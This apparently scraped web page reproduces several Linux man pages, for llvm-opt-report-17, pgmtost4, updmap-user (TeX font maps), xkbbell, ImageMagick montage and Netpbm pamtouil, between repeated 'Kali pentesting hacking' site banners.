Adobe Type 1 Font Format is available free from Adobe as a PDF file: http://partners.adobe.com/asn/developer/PDFS/TN/T1_SPEC.PDF

The Type 2 Charstring Format, also available from Adobe as a PDF file, describes the newer Type 2 operators, which are also used in some multiple-master Type 1 fonts like Adobe Jenson and Kepler: http://partners.adobe.com/asn/developer/PDFS/TN/5177.Type2.pdf

AUTHORS

Lee Hetherington ([email protected])
Eddie Kohler ([email protected])

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2107 - Linux cli command llvm-opt-report-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-opt-report-17 and provides detailed information about the command llvm-opt-report-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-opt-report-17.

NAME 🖥️ llvm-opt-report-17 🖥️

opt-report - generate optimization report from YAML

SYNOPSIS

llvm-opt-report [options] [input]

DESCRIPTION

llvm-opt-report is a tool to generate an optimization report from YAML optimization record files.

You need to create an input YAML optimization record file before running llvm-opt-report.

It provides information on the execution time, memory usage, and other details of each optimization pass.

$ clang -c foo.c -o foo.o -O3 -fsave-optimization-record

Then, you create a report using the llvm-opt-report command with the YAML optimization record file foo.opt.yaml as input.

$ llvm-opt-report foo.opt.yaml -o foo.lst

foo.lst is the generated optimization report.

< foo.c 1 | void bar(); 2 | void foo() { bar(); } 3 | 4 | void Test(int *res, int *c, int *d, int *p, int n) { 5 | int i; 6 | 7 | #pragma clang loop vectorize(assume_safety) 8 V4,1 | for (i = 0; i < 1600; i++) { 9 | res[i] = (p[i] == 0) ? res[i] : res[i] + d[i]; 10 | } 11 | 12 U16 | for (i = 0; i < 16; i++) { 13 | res[i] = (p[i] == 0) ? res[i] : res[i] + d[i]; 14 | } 15 | 16 I | foo(); 17 | 18 | foo(); bar(); foo(); I | ^ I | ^ 19 | } 20 |

Symbols printed on the left side of the program indicate what kind of optimization was performed. The meanings of the symbols are as follows:

  • I: The function is inlined.

  • U: The loop is unrolled. The following number indicates the unroll factor.

  • V: The loop is vectorized. The following numbers indicate the vector length and the interleave factor.

NOTE:

If a specific line of code is output twice, it means that the same optimization pass was applied to that line of code twice, and the pass was able to further optimize the code on the second iteration.

OPTIONS

If input is “-” or omitted, llvm-opt-report reads from standard input. Otherwise, it will read from the specified filename.

If the -o option is omitted, then llvm-opt-report will send its output to standard output. If the -o option specifies “-”, then the output will also be sent to standard output.

–help
Display available options.

–version
Display the version of this program.

–format=<string>
The format of the optimization record file. The Argument is one of the following:

  • yaml

  • yaml-strtab

  • bitstream

–no-demangle
Do not demangle function names.

-o=<string>
Output file.

-r=<string>
Root for relative input paths.

-s
Do not include vectorization factors, etc.

EXIT STATUS

llvm-opt-report returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns 1.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2108 - Linux cli command pgmtost4

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtost4 and provides detailed information about the command pgmtost4, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtost4.

.

NAME 🖥️ pgmtost4 🖥️

convert PGM image to SBIG ST-4 format

SYNOPSIS

pgmtost4

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmtost4 reads a PGM image as input and produces a Santa Barbara Instrument Group SBIG ST-4 camera CCD image as output.

Note that this format is distinct from the SBIG format used with mos SBIG cameras. For that, see pgmtosbig

  • The image is uncompressed

  • The image says it is from a “ST-6” camera

  • The image header has these lines:

  • camera type

  • height

  • width

  • saturation level

OPTIONS

There are no command line options defined specifically for pgmtost4, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

st4topgm(1) , pgm(1)

HISTORY

pgmtosbig was new in Netpbm 10.70, and was intended primarily as a test tool for sbigtopgm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtost4.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2109 - Linux cli command updmap-user

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command updmap-user and provides detailed information about the command updmap-user, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the updmap-user.

NAME 🖥️ updmap-user 🖥️

manage TeX font maps
updmap-sys - manage TeX font maps, system-wide
updmap-user - manage TeX font maps, per-user

SYNOPSIS

updmap [-user|-sys] [OPTION] … [COMMAND]
updmap-user [OPTION] … [COMMAND]
updmap-sys [OPTION] … [COMMAND]

DESCRIPTION

updmap version r65932 (2023-02-19 21:49:48 +0100)

Update the default font map files used by pdftex and dvipdfm(x) (pdftex.map), dvips (psfonts.map), and optionally pxdvi, as determined by all configuration files updmap.cfg (usually the ones returned by running “kpsewhich –all updmap.cfg”, but see below).

Among other things, these map files are used to determine which fonts should be used as bitmaps and which as outlines, and to determine which font files are included, typically subsetted, in the PDF or PostScript output.

updmap-sys (or updmap -sys) is intended to affect the system-wide configuration, while updmap-user (or updmap -user) affects personal configuration files only, overriding the system files.

As a consequence, once updmap-user has been run, even a single time, running updmap-sys no longer has any effect. updmap-sys issues a warning about this, since it is rarely desirable. See https://tug.org/texlive/scripts-sys-user.html for details.

By default, the TeX filename database (ls-R) is also updated.

The updmap system is regrettably complicated, for both inherent and historical reasons. A general overview:

- updmap.cfg files are mainly about listing other files, namely the

font-specific .maps, in which each line gives information about a different TeX (.tfm) font.

- updmap reads the updmap.cfg files and then concatenates the

contents of those .map files into the main output files: psfonts.map for dvips and pdftex.map for pdftex and dvipdfmx.

- The updmap.cfg files themselves are created and updated at package

installation time, by the system installer or the package manager or by hand, and not (by default) by updmap.

OPTIONS

–cnffile FILE
read FILE for the updmap configuration (can be given multiple times, in which case all the files are used)

–dvipdfmxoutputdir DIR
specify output directory (dvipdfm(x) syntax)

–dvipsoutputdir DIR
specify output directory (dvips syntax)

–pdftexoutputdir DIR
specify output directory (pdftex syntax)

–pxdvioutputdir DIR
specify output directory (pxdvi syntax)

–outputdir DIR
specify output directory (for all files)

–copy
cp generic files rather than using symlinks

–force
recreate files even if config hasn’t changed

–nomkmap
do not recreate map files

–nohash
do not run mktexlsr (a.k.a. texhash)

–sys
affect system-wide files (equivalent to updmap-sys)

–user
affect personal files (equivalent to updmap-user)

-n, –dry-run
only show the configuration, no output

–quiet, –silent
reduce verbosity

Commands:

–help
show this message and exit

–version
show version information and exit

–showoption OPTION
show the current setting of OPTION

–showoptions OPTION
show possible settings for OPTION

–setoption OPTION VALUE
set OPTION to value; option names below

–setoption OPTION=VALUE
as above, just different syntax

–enable MAPTYPE MAPFILE
add “MAPTYPE MAPFILE” to updmap.cfg, where MAPTYPE is Map, MixedMap, or KanjiMap

–enable Map=MAPFILE
add “Map MAPFILE” to updmap.cfg

–enable MixedMap=MAPFILE
add “MixedMap MAPFILE” to updmap.cfg

–enable KanjiMap=MAPFILE
add “KanjiMap MAPFILE” to updmap.cfg

–disable MAPFILE
disable MAPFILE, of whatever type

–listmaps
list all maps (details below)

–listavailablemaps
list available maps (details below)

–syncwithtrees
disable unavailable map files in updmap.cfg

The main output:

The main output of updmap is the files containing the individual font map lines which the drivers (dvips, pdftex, etc.) read to handle fonts.

The map files for dvips (psfonts.map) and pdftex and dvipdfmx (pdftex.map) are written to TEXMFVAR/fonts/map/updmap/{dvips,pdftex}/.

In addition, information about Kanji fonts is written to TEXMFVAR/fonts/map/updmap/dvipdfmx/kanjix.map, and optionally to TEXMFVAR/fonts/map/updmap/pxdvi/xdvi-ptex.map. These are for Kanji only and are not like other map files. dvipdfmx reads pdftex.map for the map entries for non-Kanji fonts.

If no option is given, so the invocation is just “updmap-user” or “updmap-sys”, these output files are always recreated.

Otherwise, if an option such as –enable or –disable is given, the output files are recreated if the list of enabled map files (from updmap.cfg) has changed. The –force option overrides this, always recreating the output files.

Explanation of the map types:

The normal type is Map.

The only difference between Map and MixedMap is that MixedMap entries are not added to psfonts_pk.map. The purpose is to help users with devices that render Type 1 outline fonts worse than mode-tuned Type 3 bitmap fonts. So, MixedMap is used for fonts that are available as both Type 1 and Metafont.

KanjiMap entries are added to psfonts_t1.map and kanjix.map.

Explanation of the OPTION names for –showoptions, –showoption, –setoption:

dvipsPreferOutline
true,false (default true)

Whether dvips uses bitmaps or outlines, when both are available.

dvipsDownloadBase35
true,false (default true)

Whether dvips includes the standard 35 PostScript fonts in its output.

pdftexDownloadBase14
true,false (default true)

Whether pdftex includes the standard 14 PDF fonts in its output.

pxdviUse
true,false (default false)

Whether maps for pxdvi (Japanese-patched xdvi) are under updmap’s control.

jaEmbed
(any string)

jaVariant
(any string)

scEmbed
(any string)

tcEmbed
(any string)

koEmbed
(any string)

See below.

LW35
URWkb,URW,ADOBEkb,ADOBE (default URWkb)

Adapt the font and file names of the standard 35 PostScript fonts.

URWkb
URW fonts with "berry" filenames    (e.g. uhvbo8ac.pfb)
URW
URW fonts with "vendor" filenames   (e.g. n019064l.pfb)

ADOBEkb
Adobe fonts with “berry” filenames (e.g. phvbo8an.pfb)

ADOBE
Adobe fonts with “vendor” filenames (e.g. hvnbo___.pfb)

These options are only read and acted on by updmap; dvips, pdftex, etc., do not know anything about them. They work by changing the default map file which the programs read, so they can be overridden by specifying command-line options or configuration files to the programs, as explained at the beginning of updmap.cfg.

The options jaEmbed and jaVariant (formerly kanjiEmbed and kanjiVariant) specify special replacements in the map lines. If a map contains the string @jaEmbed@, then this will be replaced by the value of that option; similarly for jaVariant. In this way, users of Japanese TeX can select different fonts to be included in the final output. The counterpart for Simplified Chinese, Traditional Chinese and Korean fonts are scEmbed, tcEmbed and koEmbed respectively.

ENVIRONMENT

Explanation of trees and files normally used:

If –cnffile is specified on the command line (can be given multiple times), its value(s) is(are) used. Otherwise, updmap reads all the updmap.cfg files found by running `kpsewhich -all updmap.cfg’, in the order returned by kpsewhich (which is the order of trees defined in texmf.cnf).

In either case, if multiple updmap.cfg files are found, all the maps mentioned in all the updmap.cfg files are merged.

Thus, if updmap.cfg files are present in all trees, and the default layout is used as shipped with TeX Live on Debian, the following files are read, in the given order.

For updmap-sys:
TEXMFSYSCONFIG /etc/texmf/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg
For updmap-user:
TEXMFCONFIG    $HOME/.texmf-config/web2c/updmap.cfg
TEXMFVAR       $HOME/.texmf-var/web2c/updmap.cfg
TEXMFHOME      $HOME/texmf/web2c/updmap.cfg
TEXMFSYSCONFIG /etc/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg

According to the actions, updmap might write to one of the given files or create a new updmap.cfg, described further below.

Where and which updmap.cfg changes are saved:

When no options are given, the updmap.cfg file(s) are only read, not written. It’s when an option –setoption, –enable or –disable is specified that an updmap.cfg needs to be updated. In this case:

1) If config files are given on the command line, then the first one given is used to save any such changes.

2) If the config files are taken from kpsewhich output, then the algorithm is more complex:

2a) If $TEXMFCONFIG/web2c/updmap.cfg or $TEXMFHOME/web2c/updmap.cfg appears in the list of used files, then the one listed first by kpsewhich –all (equivalently, the one returned by kpsewhich updmap.cfg), is used.

2b) If neither of the above two are present and changes are made, a new config file is created in $TEXMFCONFIG/web2c/updmap.cfg.

In general, the idea is that if the user cannot write to a given config file, a higher-level one can be used. That way, the distribution’s settings can be overridden system-wide using TEXMFLOCAL, and system settings can be overridden again in a particular user’s TEXMFHOME or TEXMFCONFIG.

Resolving multiple definitions of a font:

If a font is defined in more than one map file, then the definition coming from the first-listed updmap.cfg is used. If a font is defined multiple times within the same map file, one is chosen arbitrarily. In both cases a warning is issued.

Disabling maps:

updmap.cfg files with higher priority (listed earlier) can disable maps mentioned in lower priority (listed later) updmap.cfg files by writing, e.g.,

#! Map mapname.map

or

#! MixedMap mapname.map

in the higher-priority updmap.cfg file.
(The #! must be at the

beginning of the line, with at least one space or tab afterward, and whitespace between each word on the list.)

As an example, suppose you have a copy of MathTime Pro fonts and want to disable the Belleek version of the fonts; that is, disable the map belleek.map. You can create the file $TEXMFCONFIG/web2c/updmap.cfg with the content

#! Map belleek.map Map mt-plus.map Map mt-yy.map

and call updmap.

Listing of maps:

The two options –listmaps and –listavailablemaps list all maps defined in any of the updmap.cfg files (for –listmaps), and only those actually found on the system (for –listavailablemaps). The output format is one line per font map, with the following fields separated by tabs: map, type (Map, MixedMap, KanjiMap), status (enabled, disabled), origin (the updmap.cfg file where it is mentioned, or ‘builtin’ for the three basic maps).

In the case of –listmaps there can be one additional fields (again separated by tab) containing ‘(not available)’ for those map files that cannot be found.

updmap-user vs. updmap-sys:

When updmap-sys is run, TEXMFSYSCONFIG and TEXMFSYSVAR are used instead of TEXMFCONFIG and TEXMFVAR, respectively. This is the primary difference between updmap-sys and updmap-user.

Other locations may be used if you give them on the command line, or these trees don’t exist, or you are not using the original TeX Live.

To see the precise locations of the various files that will be read and written, give the -n option (or read the source).

EXAMPLES

The log file is written to TEXMFVAR/web2c/updmap.log.

For step-by-step instructions on making new fonts known to TeX, read https://tug.org/fonts/fontinstall.html. For even more terse instructions, read the beginning of the main updmap.cfg file.

FILES

Configuration and input files:

updmap.cfg
Main configuration file. In texmf-dist/web2c by default, but may be located elsewhere depending on your distribution. Each texmf tree read should have its own updmap.cfg.

dvips35.map
Map file for standard 35 PostScript fonts for use with dvips(1).

pdftex35.map
Map file for standard 35 PostScript fonts for use with pdftex(1).

ps2pk35.map
Map file for standard 35 PostScript fonts for use with ps2pk(1).

Output files:

psfonts.map
For dvips(1). Same as psfonts_t1.map if option dvipsPreferOutline active, else as psfonts_pk.map.

psfonts_pk.map
For dvips(1). Without information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

psfonts_t1.map
For dvips(1). With information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

download35.map
For dvips(1). Always downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

builtin35.map
For dvips(1). Never downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

pdftex.map
For pdftex(1). Same as pdftex_dl14.map if option pdftexDownloadBase14 active, else as pdftex_ndl14.map.

pdftex_dl14.map
For pdftex(1). Always downloads the standard 14 fonts.

pdftex_ndl14.map
For pdftex(1). Never downloads the standard 14 fonts.

ps2pk.map
Similar to psfonts.map file, but forces all fonts to be downloaded, so this map file can be used with xdvi(1) and ps2pk(1).

Configuration files for dvips(1):

config.builtin35
Loads builtin35.map instead of psfonts.map.

config.download35
Loads download35.map instead of psfonts.map.

config.outline
Loads psfonts_t1.map instead of psfonts.map.

config.pdf
Loads psfonts_t1.map instead of psfonts.map and has additional settings for PDF generation.

config.pk
Loads psfonts_pk.map instead of psfonts.map.

config.www
Loads psfonts_t1.map instead of psfonts.map. (For compatibility with old versions.)

config.gstopk
Loads psfonts_t1.map instead of psfonts.map.

REPORTING BUGS

Report bugs to: [email protected]
TeX Live home page: <https://tug.org/texlive/>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2110 - Linux cli command xkbbell

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkbbell and provides detailed information about the command xkbbell, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkbbell.

NAME 🖥️ xkbbell 🖥️

XKB extension user utility

SYNOPSIS

xkbbell [-display <dpy>] [-synch] [-dev <id>] [-force] [-nobeep] [-bf <id>] [-kf <id>] [-v <volume>] [-w <id>] [-help|-version]

DESCRIPTION

user utility

OPTIONS

-display <dpy>
specifies which display to use

-synch
turns on synchronization

-dev <id>
specifies which device to use

-force
force audible bell

-nobeep
suppress server bell, event only

-bf <id>
specifies which bell feedback to use

-kf <id>
specifies which keyboard feedback to use

-v <volume>
specifies which volume to use

-w <id>
specifies which window to use

-help
print list of options and exit

-version
print program version and exit

If neither device nor feedback are specified, xkbbell uses the default values for the core keyboard device.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2111 - Linux cli command montage-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command montage-im6.q16 and provides detailed information about the command montage-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the montage-im6.q16.

NAME 🖥️ montage-im6.q16 🖥️

create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

SYNOPSIS

montage-im6.q16 input-file[s] [options] output-file

OVERVIEW

The montage-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

For more information about the montage command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/montage.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/montage.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -authenticate value decrypt image with this password -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator composite operator -compress type type of pixel compression when writing the image -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -display server query font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -draw string annotate the image with a graphic primitive -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -font name render text with this font -format “string” output formatted image characteristics -gamma value level of gamma correction -geometry geometry preferred tile and border sizes -gravity direction which direction to gravitate towards -green-primary point chromaticity green primary point -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -matte store matte channel if the image has one -mattecolor color frame color -mode type framing style -monitor monitor progress -origin geometry image origin -page geometry size and location of an image canvas (setting) -pointsize value font point size -profile filename add, delete, or apply an image profile -quality value JPEG/MIFF/PNG compression level -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas (operator) -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scenes range image scene range -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -shadow add a shadow beneath a tile to simulate depth -size geometry width and height of image -stroke color color to use when stroking a graphic primitive -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -thumbnail geometry create a thumbnail of the image -tile geometry number of tiles per row and column -title string decorate the montage image with a title -transparent-color color transparent color -treedepth value color tree depth -trim trim image edges -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method -white-point point chromaticity white point

Image Operators: -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -annotate geometry text annotate the image with text -auto-orient automagically orient image -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -crop geometry preferred size and location of the cropped image -extent geometry set the image size -flatten flatten a sequence of images -flip flip image in the vertical direction -flop flop image in the horizontal direction -frame geometry surround image with an ornamental border -layers method optimize or compare image layers -monochrome transform image to black and white -polaroid angle simulate a Polaroid picture -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -scale geometry scale the image -strip strip image of all profiles and comments -transform affine transform image -transpose flip image vertically and rotate 90 degrees -transparent color make this color transparent within the image -type type image type -unsharp geometry sharpen the image

Image Sequence Operators: -coalesce merge a sequence of images -composite composite image

Image Stack Operators: -clone indexes clone an image -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

In addition to those listed above, you can specify these standard X resources as command line options: -background, -bordercolor, -borderwidth, -font, -mattecolor, or -title.

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2112 - Linux cli command pamtouil

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtouil and provides detailed information about the command pamtouil, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtouil.

.

NAME 🖥️ pamtouil 🖥️

convert a PNM or PNM/transparency image into a Motif UIL icon file

SYNOPSIS

pamtouil [**-name=**uilname] [pamfile]

You may abbreviate any option to its shortest unique prefix. You may use two hyphens instead of one to delimit an option. You may separate an option from its value with whitespace instead of =.

DESCRIPTION

This program is part of Netpbm(1) .

pamtouil reads a PNM or PAM image as input and produces a Motif UIL icon file as output. If the input is PAM, it may be either a regular grayscale or color image or grayscale+transparency or color+transparency. Where the transparency channel is present, pamtouil renders pixels that are more than half transparent as transparent in the output.

In the UIL’s colormap, pamtouil uses the color names from the RGB database – the same one ppmmake(1) uses. Where a color in the input does not exactly match one of the colors named in the RGB database, pamtouil uses the closest color named in the RGB database.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtouil recognizes the following command line option:

-name
Allows you to specify the prefix string which is printed in the resulting UIL output. If not specified, will default to the filename (without extension) of the ppmfile argument. If -name is not specified and no ppmfile is specified (i.e. piped input), the prefix string will default to the string “noname”.

SEE ALSO

pamstack(1) pam(1) ppm(1)

HISTORY

Before May 2002, pamtouil was called ppmtouil and had no way to specify transparency.

AUTHOR

Converted by Bryan Henderson from ppmtouil.c, which was converted by Jef Poskanzer from ppmtoxpm.c, which is Copyright (C) 1990 by Mark W. Snitily

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtouil.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
